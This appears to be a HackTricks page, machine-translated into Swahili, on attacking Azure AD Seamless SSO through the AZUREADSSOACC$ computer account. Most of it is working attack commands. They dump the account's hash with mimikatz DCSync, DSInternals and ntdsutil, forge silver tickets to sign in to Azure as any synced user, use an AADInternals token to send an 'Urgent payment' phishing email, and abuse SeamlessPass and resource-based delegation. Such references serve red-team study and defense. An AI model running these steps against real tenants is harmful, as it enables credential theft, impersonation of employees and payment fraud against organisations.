Az - Seamless SSO
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) moja kwa moja inaingia watumiaji wanapokuwa kwenye vifaa vyao vya kampuni vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD, na kwa kawaida, hata kuandika majina yao ya mtumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Kimsingi Azure AD Seamless SSO inaingia watumiaji wanapokuwa katika PC iliyounganishwa na eneo la ndani.
Inasaidiwa na PHS (Password Hash Sync) na PTA (Pass-through Authentication).
Desktop SSO inatumia Kerberos kwa uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda akaunti ya kompyuta inayoitwa AZUREADSSOACC$
katika AD ya ndani. Nywila ya akaunti ya AZUREADSSOACC$
inatumwa kama maandiko wazi kwa Azure AD wakati wa usanidi.
Tiketi za Kerberos zimefungwa kwa kutumia NTHash (MD4) ya nywila na Azure AD inatumia nywila iliyotumwa kufungua tiketi hizo.
Azure AD inatoa kiungo (https://autologon.microsoftazuread-sso.com) ambacho kinakubali tiketi za Kerberos. Kivinjari cha mashine iliyounganishwa na eneo kinapeleka tiketi hizi kwa kiungo hiki kwa SSO.
On-prem -> cloud
Nywila ya mtumiaji AZUREADSSOACC$
haitabadilika kamwe. Hivyo, msimamizi wa eneo anaweza kuathiri hash ya akaunti hii, na kisha kuitumia kuunda tiketi za fedha kuungana na Azure na mtumiaji yeyote wa ndani aliyeunganishwa:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Na hash unaweza sasa kuunda tiketi za fedha:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kutekelezwa:
- Anzisha Kivinjari: Mozilla Firefox inapaswa kuzinduliwa.
- Sanidi Kivinjari:
- Tembelea
about:config
. - Weka upendeleo wa network.negotiate-auth.trusted-uris kwa thamani zilizotajwa:
https://aadg.windows.net.nsatc.net
https://autologon.microsoftazuread-sso.com
- Fikia Programu ya Mtandao:
- Tembelea programu ya mtandao ambayo imeunganishwa na eneo la AAD la shirika. Mfano wa kawaida ni Office 365.
- Mchakato wa Uthibitishaji:
- Katika skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, huku uwanja wa nywila ukiwa tupu.
- Ili kuendelea, bonyeza TAB au ENTER.
tip
Hii haipuuzi MFA ikiwa imewezeshwa
Chaguo la 2 bila dcsync - SeamlessPass
Pia inawezekana kufanya shambulio hili bila shambulio la dcsync ili kuwa na siri zaidi kama ilivyoelezwa katika chapisho hili la blog. Kwa hiyo unahitaji tu moja ya yafuatayo:
- TGT ya mtumiaji aliyeathiriwa: Hata kama huna moja lakini mtumiaji ameathiriwa, unaweza kupata moja kwa kutumia hila ya uwakilishi wa TGT bandia iliyotekelezwa katika zana nyingi kama Kekeo na Rubeus.
- Tiketi ya Dhahabu: Ikiwa una ufunguo wa KRBTGT, unaweza kuunda TGT unayohitaji kwa mtumiaji aliyeathiriwa.
- Hash ya NTLM ya mtumiaji aliyeathiriwa au ufunguo wa AES: SeamlessPass itawasiliana na kidhibiti cha eneo na habari hii ili kuunda TGT.
- Hash ya NTLM ya akaunti ya AZUREADSSOACC$ au ufunguo wa AES: Kwa habari hii na Kitambulisho cha Usalama wa mtumiaji (SID) wa kushambulia inawezekana kuunda tiketi ya huduma na kuthibitisha na wingu (kama ilivyofanywa katika njia ya awali).
Hatimaye, kwa TGT inawezekana kutumia zana SeamlessPass na:
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
Zaidi ya taarifa za kuweka Firefox kufanya kazi na seamless SSO zinaweza kupatikana katika chapisho hili la blog.
Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee
Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza kweka SID kwa mtumiaji yeyote wa wingu. Kwa njia hii tiketi za Kerberos zinaweza kuundwa pia kwa watumiaji wa wingu pekee. Sharti pekee ni kwamba SID iwe SID.
caution
Kubadilisha SID ya watumiaji wa admin wa wingu pekee sasa imezuiwa na Microsoft.
Kwa taarifa zaidi angalia https://aadinternals.com/post/on-prem_admin/
On-prem -> Wingu kupitia Uwakilishi wa Rasilimali ulio na Mipaka
Mtu yeyote anayeweza kusimamia akaunti za kompyuta (AZUREADSSOACC$
) katika kontena au OU ambayo akaunti hii iko ndani yake, anaweza kuweka uwakilishi wa rasilimali ulio na mipaka juu ya akaunti na kuufikia.
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Niko kwenye wingu lako, nikisoma barua pepe za kila mtu - kuingilia Azure AD kupitia Active Directory
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.